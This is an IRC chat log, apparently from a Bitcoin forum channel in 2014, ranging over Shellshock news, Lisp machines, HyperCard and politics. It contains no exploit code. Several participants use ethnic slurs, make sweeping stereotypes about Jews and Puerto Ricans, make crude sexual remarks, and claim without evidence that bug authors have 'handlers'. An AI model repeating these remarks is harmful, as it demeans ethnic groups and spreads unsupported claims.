    gribble: Missile gap - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Missile_gap>; Dr. Strangelove - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Dr._Strangelove>; Mineshaft gap - Dr. Strangelove - YouTube: <http://www.youtube.com/watch?v=ybSzoLCCX-Y>
    
    BingoBoingo: If you are worried about the mineshaft gap you are on the wrong continent
    
    BingoBoingo: Africa where Ebola is about to become a permanent feature of life, or South America where anyone of worth from the remains of Rome settled are the extant options.
    
    asciilifeform: BingoBoingo: Strangelove: 'Regrettably, yes. But it is, you know, a sacrifice required for the future of the human race. I hasten to add that since each man will be required to do prodigious...service along these lines, the women will have to be selected for their sexual characteristics which will have to be of a highly stimulating nature.'  Russian Ambassador: 'I must confess, you have an astonishingly good ide
    
    asciilifeform: a there, Doctor.'
    
    asciilifeform: (re: 'mineshaft gap')
    
    BingoBoingo: INdeed
    
    BingoBoingo: Also note his beautiful calculator.
    
    BingoBoingo: I wish I had the dexterity to handle clockwork in a creative way
    
    BingoBoingo: "Lindhs NAS ran Bash alternative Dash by default and a tweet from security researcher Dragos Ruiu appeared to back up Lindhs early research. If derivatives of Bash are also vulnerable to Shellshock, this would widen the number of potential targets massively." << BADBOIS Guy >> http://www.theguardian.com/technology/2014/sep/26/bash-bug-shellshock-richard-stallman
    
    assbot: Shellshock just 'a blip' says Richard Stallman as Bash bug attacks increase | Technology | theguardian.com
    
    asciilifeform: what is rms holding in the photo?
    
    BingoBoingo: looks like a bit of interesting chicom tech
    
    asciilifeform: possibly 'loongson'
    
    asciilifeform: (largely unobtainable outside of cn)
    
    BingoBoingo: I thought he was always on longsoon now a days. I'd never seen one with a detaching keyboard though.
    
    asciilifeform: looks like a miniature ('happyhacking' brand?) item
    
    BingoBoingo: Are there any longsoons that aren't in miniature?
    
    asciilifeform: no, the keyboard
    
    BingoBoingo: Ah
    
    asciilifeform: sat on top of the laptop
    
    BingoBoingo: I was inclined to think that might be the laptop's own detached
    
    asciilifeform: loongson (and, afaik, anyone else) does not sell such a thing
    
    BingoBoingo: My brother's freshman year room mate I am told had a pantent on a similar detachable keyboard arrangement.Last I check as of 2007 the VC circus had enlarged his expectation's sphincter many guages
    
    asciilifeform: trivially extend the cable that connects laptop keyboard. but, why?!?
    
    BingoBoingo: asciilifeform: Because he was 17, paki, and his parents conditioned him for entrpreneuership.
    
    BingoBoingo: In the interim my younger brother went to dental school, and... why the fuck didn't I do that...
    
    BingoBoingo: Shit doesn't even require a sould cruching residency.
    
    BingoBoingo: http://arstechnica.com/information-technology/2014/09/yahoo-killing-off-yahoo-after-20-years-of-hierarchical-organization/
    
    assbot: Yahoo killing off Yahoo after 20 years of hierarchical organization | Ars Technica
    
    BingoBoingo thinks to DMOZ's undead fate
    
    BingoBoingo: DMOZ being a project left for the people who aren't even good enough for wikipedia fail.
    
    decimation: this 'bash bug' is hilarious.  one wonders who knew about it for the past few years, and who exploited it unawares...
    
    asciilifeform: decimation: who knew << the author.
    
    asciilifeform: and his handlers.
    
    kakobrekla: dunno if its so easy to claim that
    
    decimation: do we know who the author is?
    
    asciilifeform: kakobrekla: https://www.uwgb.edu/dutchs/PSEUDOSC/WhyNoMiracles.HTM << obligatory
    
    assbot: Why Science Can't Accept Miracles (Even if They Really Exist)
    
    asciilifeform: this essay more or less explains why it is necessary to presume an author, and his handlers.
    
    asciilifeform: even if there is no immediately visible 'smoking gun'
    
    kakobrekla: alright ill take a look
    
    asciilifeform: if you create a 'heartbleed' - you are a вредитель. and whether you did it intentionally, given the impossibility of proof - does not matter.
    
    asciilifeform: 'If you're a defendant, you don't get to claim your fingerprints miraculously appeared at a crime scene... If you're a bookkeeper, you don't get to say money miraculously disappeared from your company...'
    
    
    
    assbot: Logged on 27-08-2014 04:09:34; asciilifeform: if you (org.) want to keep secrets, the menu is roughly: a) employ incorruptible fanatics b) keep all henchmen incommunicado, in 'шарашка' prisons c) there is no 'c.' tertium non datur.
    
    decimation: I think usg inspires a fair amount of zealotry actually
    
    asciilifeform: decimation: mp added a c) if i recall: 'kill and bury the pyramid builders, blind the architect'
    
    decimation: see the bitcoin/socom meeting in the link above http://log.bitcoin-assets.com/?date=26-09-2014#846156
    
    assbot: Logged on 26-09-2014 18:41:05; mats_cd03: http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation...
    
    decimation: what I find inexplicable is that you find folks in the us who absolutely hate everything about usg policies, in terms of how it mismanages wealth, fails to jail criminals, etc, and yet are willing to serve the military side
    
    kakobrekla: asciilifeform do you claim you can write bugless code (maybe even given the right platform to do it on)
    
    asciilifeform: kakobrekla: yes.
    
    kakobrekla: pft!
    
    asciilifeform: kakobrekla: what, you can't?
    
    decimation: usg is the unintentional beneficiary of a great deal of "I want to make a difference" altruism
    
    asciilifeform: kakobrekla: try, for instance, a bugless 'hello world'
    
    asciilifeform: it isn't too much sweat.
    
    kakobrekla: that one i could manage.
    
    kakobrekla: maybe
    
    decimation: it helps a great deal if the programming language you use guarantees proper memory allocation, bounds checking, etc.
    
    asciilifeform: laugh, laugh. but most of what you expect from your computer is not -mathematically- more complicated than 'hello world.'
    
    asciilifeform: mainly - moving bits from one place to another.
    
    decimation: I became depressed by dijkstra when he demonstrated how impossible it would be to fully check a simple multiplier circuit
    
    asciilifeform: decimation: the cure for this depression is to understand that a machine can be built to be -understood-.
    
    asciilifeform: rather than mathematicized-about.
    
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    kakobrekla: !b 3
    
    kakobrekla: i know what you are saying dec.
    
    asciilifeform: imagine if the stone age had extended far beyond where it did, and man built gigantic stone swords.
    
    asciilifeform: that needed a squadron of a dozen or more wielders, to swing it at all
    
    asciilifeform: and they would work in synchrony, but of course imperfectly - and occasionally at cross purposes
    
    asciilifeform: or squadron could contain enemy wrecker, imperceptibly and unprovably spoiling a swing
    
    asciilifeform: even the best swings would be from among a very small set of simple strokes.
    
    asciilifeform: then - somebody comes up with metallurgy, creates sword that one man can comfortably swing.
    
    asciilifeform: entire universe of a difference.
    
    asciilifeform: ^ that is the kind of thing i mean by -understandable-.
    
    decimation: the single wielder can certainly explore a larger set of swing-space
    
    asciilifeform: when we are talking about a sword that a man can swing - or a computer system that 'fits' inside a single brain comfortably - this is a fundamental difference.
    
    asciilifeform: like the difference between a shirt that fits and one which does not
    
    decimation: the man 'understands' swinging in a subjective way?
    
    asciilifeform: subjective only in the sense that people vary in size
    
    asciilifeform: and if you really wish to know which 'swordsman' is more comfortable with his tool - let god of war decide.
    
    decimation: well, one could argue that's why the lisp machine died out, right?
    
    asciilifeform: could.
    
    asciilifeform: swordsman can trip on banana peel
    
    asciilifeform: then squadron with stone megacock can feel victorious, vindicated.
    
    kakobrekla: :D
    
    decimation: yeah the lisp machine was carried by only a precious handful of people, who were the enemies of ibm and everyone else who wanted to muscle into the space
    
    asciilifeform: decimation: it is important to understand that lm was a specialist instrument - like the most elaborate electron microscope.
    
    asciilifeform: it made no attempt to compete with, e.g., ibm anything
    
    asciilifeform: existed in entirely separate universe
    
    asciilifeform: just as 'bentley' does not compete with 'toyota'
    
    decimation: ibm/wintel happened to pave over their niche though
    
    decimation: plus symbolics decided to waste their money on california real estate or some such craziness
    
    asciilifeform: toyota may in some sense with it could 'pave over' bentley, but reality does not care about this
    
    asciilifeform: it is hilarious to read about all of the various nicks, bruises, paper cuts found on the corpse of symbolics corp.
    
    asciilifeform: while ignoring the bullet hole in its head
    
    decimation: what is the 'bullet hole'?
    
    asciilifeform: (withdrawal of the infinite usg money it relied on - directly, and indirectly - through the major clients being usg ops)
    
    asciilifeform: 'artist picked the wrong medici'
    
    decimation: yeah makes sense.  intel, being of silicon valley, was always a little more insulated from usg
    
    decimation: its clients all were all arms of usg, but it wasn't directly supported by usg
    
    asciilifeform: intel did not instrinsically - by its very nature - rely on rich prince
    
    asciilifeform: symbolics - did
    
    asciilifeform: because it was not selling a plebe product.
    
    asciilifeform: go and try market a scanning electron microscope for consumer market.
    
    decimation: rich princes being famous for their fickle tastes
    
    
    
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    asciilifeform: the other interesting observation is that lm in 1980s was expensive for far different reason than it would be today
    
    asciilifeform: and it would be far more expensive today!
    
    asciilifeform: then - the sheer quantity of logic necessary.
    
    asciilifeform: why it would be quite expensive today - i'll leave as an exercise for anyone still awake.
    
    BingoBoingo: why it would be quite expensive today - i'll leave as an exercise for anyone still awake. << People who could make it, exceedingly expensive today if hired for the task of making it.
    
    asciilifeform: nope.
    
    asciilifeform could easily make, and would work for room & board
    
    decimation: logic is much cheaper
    
    BingoBoingo: asciilifeform could easily make, and would work for room & board << Because you love the idea of it
    
    decimation: one would become an enemy of the wintel bezzle lords
    
    asciilifeform: the reason is entirely mundane
    
    decimation: although that has not stopped arm
    
    asciilifeform: if you had a truly clean break with the age of turdware -
    
    asciilifeform: there would be a market for about six machines.
    
    asciilifeform: divide the r&d and production cost by that figure. that's how much each unit would have to cost to... break even.
    
    decimation: ah, you would have to rewrite bezzle wintel software stack
    
    asciilifeform: forget even this
    
    asciilifeform: you'd have to come up with your own... dram
    
    decimation: heh yeah
    
    asciilifeform: bus topology
    
    asciilifeform: etc
    
    decimation: I would throw ddr in the trash
    
    asciilifeform: i've argued in the past that you have to ditch... binary. if you want to be rid of the 'floating point' abomination.
    
    asciilifeform: likewise, for dataflow cpu fabric (the only truly reasonable way to build a computer) - existing logic synthesis methods are unsuitable.
    
    decimation: oh yeah, so I was thinking about why people use floating point to answer mp's question
    
    BingoBoingo: So... the ferguson thing looks like it might turn into open war...
    
    asciilifeform: even the gate libraries used by extant semiconductor fab houses would have to be thrown.
    
    decimation: it is because of the dynamic range allowed in a single blob
    
    Duffer1: BingoBoingo, i haven't been following it, riots yet?
    
    BingoBoingo: Duffer1: They never really stopped
    
    BingoBoingo: http://www.mediaite.com/online/ferguson-police-chief-sparks-riots-after-trying-to-join-protesters-calling-for-his-resignation/
    
    assbot: Ferguson Police Chief Sparks Riots After Trying to Join Protesters Calling for His Resignation | Mediaite
    
    Duffer1: ah
    
    BingoBoingo: Fat chief joined a crowd calling for his resignation. What result can be expected.
    
    BingoBoingo: Not really a question.
    
    Duffer1: seen this one yet Bingo? (turn it down) http://www.nbcnews.com/news/us-news/ex-south-carolina-state-trooper-charged-over-traffic-stop-shooting-n211156
    
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    BingoBoingo: Saw that one.
    
    decimation: asciilifeform: most fpgas are not very suitable either
    
    asciilifeform: decimation: this is discussed on my site.
    
    decimation: yeah the old xilinx part
    
    BingoBoingo: Duffer1: Notice how quickly that "officer" was indicted for something?
    
    Duffer1: good things there was video of it
    
    BingoBoingo: "Officer" in quotes because in the Western tradition the roles of "officer" and enlisted are different.
    
    asciilifeform: BingoBoingo: https://www.youtube.com/watch?v=N1HEqagVO9g << possibly interesting to you
    
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    BingoBoingo: Following the Anglos on anything has never been a good move though. Ever since the vowel shift turned the Britons into Barbarians at least.
    
    Duffer1: oh damn i'm sure those "i am darren wilson" bracelets didn't help the situation much lol
    
    Duffer1: good lord
    
    BingoBoingo: I fully endorse hypercard
    
    asciilifeform: BingoBoingo: virtually none of my readers showed any signs of liking it for the same reason i did.
    
    asciilifeform: generally, they like it 'because pretty ux buttons'
    
    BingoBoingo: Duffer1: You have to understand Middle Western understated racism is a more dangerous creature than Angola prison for a reason.
    
    BingoBoingo: asciilifeform: I tended to like it because in Highschool I had Hypercard, a giant TI-89, ot Compaq dos
    
    BingoBoingo: *or
    
    asciilifeform: or that. nostalgia.
    
    decimation: I used hp-48gx in high school
    
    asciilifeform: (i haven't any for it. i actually associate the environment it ran on with school, which was a misery)
    
    decimation: I remember trying hypercard in school, but I was introduced too late - didn't understand why it was more compelling than hypertext
    
    asciilifeform: decimation: the reason - understandability.
    
    asciilifeform: the totality thereof.
    
    BingoBoingo also used hypercard astonishingly to keep my dick wet, organizing girls into nights of the week.
    
    decimation: yeah hypercard enabled 'regular humans' to actually 'program'
    
    decimation: the closest thing in modern mac os is the 'automater' tool, but it's not maintained
    
    asciilifeform: again, unrelated.
    
    asciilifeform: the abominable 'english-like' scripting language lured various people who thought they could never stomach programming into trying
    
    BingoBoingo: decimation: The beauty was you could program without the quotes, until the PPC port
    
    asciilifeform: but this is neither here nor there.
    
    asciilifeform: that aspect - never appealed to me
    
    asciilifeform: never needed this sugar
    
    asciilifeform: to understand what is 'understandability' - look at its opposite.
    
    asciilifeform: sussman, surrendering to decay:
    
    asciilifeform: 'You have to do basic science on your libraries to see how they work, trying out different inputs and seeing how the code reacts.'
    
    decimation: something like how xml is written in plain text but ususually completely opaque
    
    asciilifeform: (discussed here, for example - https://news.ycombinator.com/item?id=603856 )
    
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    BingoBoingo: decimation: Only when MIcrosoft, Red Hat, or Oracle touches it.
    
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    decimation: yeah I remember that sussman quote, it is depressing
    
    BingoBoingo: reeses: https://xkcd.com/298/ << Actually dreamed a lucrative tablet game last night. Background is a topless redhead. Foreground is "Space Invaders" goal is to keep falling apples from covering the nipples.
    
    assbot: xkcd: Tesla Coil
    
    BingoBoingo has kind of come to appreciate the crazy of TempleOS
    
    decimation: that guy is seriously crazy
    
    BingoBoingo: of course he is, but who said that is necessarily wrong?
    
    asciilifeform: decimation: 'crazy' is the reason he actually got to work!
    
    asciilifeform: by his own admission - he was rescued from labouring as a programmer by 'disability' pension from usg.
    
    BingoBoingo: TempleOS is basically x86-64 playgroung
    
    asciilifeform: which required a certification of insanity
    
    asciilifeform: in his case
    
    BingoBoingo wishes he could have such a grand form of crazy.
    
    asciilifeform: so we do not actually know how much he is truly batshit, and how much - is just playing the necessary role.
    
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    asciilifeform: i have often direly envied the man his schizophrenia - or acting skills, as the case may be.
    
    BingoBoingo: asciilifeform: The differentiation is indeed difficult. I dunno that his flavor exists in the new DSM V
    
    BingoBoingo: DSM IV-TR has some contending designations.
    
    asciilifeform: and then there is the undocumented talmud used by usg bureaucrats to determine who qualifies for lifetime pensions.
    
    BingoBoingo: IS that match/mismatch an indicator of acting or otherwise?
    
    decimation: apparently sabu of anonymous was living in a usg welfare apartment
    
    asciilifeform: as did limonov.
    
    BingoBoingo: Don't forget Thermos and Nefario...
    
    decimation: sabu was a puerto rican - an island that raises living off usg largess to an art form
    
    asciilifeform: a professional scammer not scamming usg also, would be like a pro mechanic who won't fix own car
    
    decimation: http://cnsnews.com/news/article/13-population-puerto-rico-gets-food-stamps-2-billion-2012
    
    assbot: 1/3 Population of Puerto Rico Gets Food Stamps--$2 Billion in 2012 | CNS News
    
    asciilifeform: decimation: approximately - food stamps are given to groups, rather than people. not formally, of course - but in practice.
    
    asciilifeform: if you are not part of one of these groups - you will not be in the running for any handouts in usa.
    
    asciilifeform: limonov - was in such a group.
    
    asciilifeform: one such
    
    asciilifeform: puerto rico is one such group today
    
    decimation: limonov was crazy?
    
    BingoBoingo: Thor: http://valleywag.gawker.com/uber-driver-charged-for-bashing-a-passenger-in-the-head-1639711808/+leahfinnegan
    
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    asciilifeform: no. he was a russian/jewish emigre in '70s
    
    decimation: ah, so 'favored ally' of the fdr socialists running things in that era
    
    BingoBoingo: decimation> ah, so 'favored ally' of the fdr socialists running things in that era << Not so limited. To Understand the West you have to understand their hard ons, Jews and Isis.
    
    decimation: I don't get the jews.  why do they care about jews?  They are just a small subset of europeans among the unwashed masses of europeans
    
    
    
    decimation: danielpbarron: don't tell me you are dispensationalist?
    
    BingoBoingo: decimation: Jews because they are the non-ISIS middle east hedgemon, gotta catch them ALL, HEDGEMON!!!
    
    
    
    BingoBoingo: decimation: danielpbarron Is a Christan warrior of an Olde school
    
    decimation: among other things, a sect of Christianity that is premillennial, some of whom believe that the jews must be gathered in the middle east to start the end of the world and Jesus's return
    
    asciilifeform: decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone'
    
    BingoBoingo: decimation: danielpbarron's Xtianity may be older, pre-vowel shift
    
    asciilifeform: decimation: engineered 'brain drain' was a weapon in use at the time
    
    
    
    asciilifeform: decimation: folks from soviet blok were lured with imaginary 'nice' jobs, the proverbial fifty types of sausage, posh cars, etc.
    
    BingoBoingo: <asciilifeform> decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone' << Patton's "Murica
    
    decimation: asciilifeform: 'anti-soviet' and 'anti-communist' but not 'anti-leftist'
    
    asciilifeform: reality - drive cab, or collect 'welfare'
    
    dub: 50 types of forcemeat the soviet dream
    
    BingoBoingo: dub> 50 types of forcemeat the soviet dream << There is good forcemeat
    
    decimation: I look forward to the next regime change in the us so that the 'anti-communists' can be named
    
    asciilifeform: what you call 'forcemeat' we called 'doctor's sausage' for some reason.
    
    decimation: I quite enjoy a good mortadella
    
    BingoBoingo: I mean the french can do it well, just when we have aspiring diesel that would suppose "Freedom Fries"
    
    
    
    asciilifeform: (for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa)
    
    asciilifeform: herr l. is near the top of my list of rich'n'famous folks i'd personally enjoy seeing in here.
    
    asciilifeform: we could start with his idea of 'young and old men ought to live in separate countries.'
    
    asciilifeform: or let him explain how to recreate the lifestyle of a mongol hordesman in modern times
    
    asciilifeform: (he appears to know how)
    
    BingoBoingo: <asciilifeform> (for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa) << In the middle West you get plastic jews, people who undergoe trans ethnicism for lawyer jobs
    
    BingoBoingo: The tend to be ostracized by actual people of Yweh's nose, but no local WASPs care
    
    asciilifeform: lol, lawyers have ethnic mafia there ?
    
    asciilifeform: or is it that other folks won't go to a 'goy' lawyer ?
    
    BingoBoingo: asciilifeform: More people want a Goy lawyer, but don't want an actual Goy. The actual goys tend to retreat to either left coast after law school.
    
    BingoBoingo: And in Law school the Goy's can't call out aspiring goy's because PC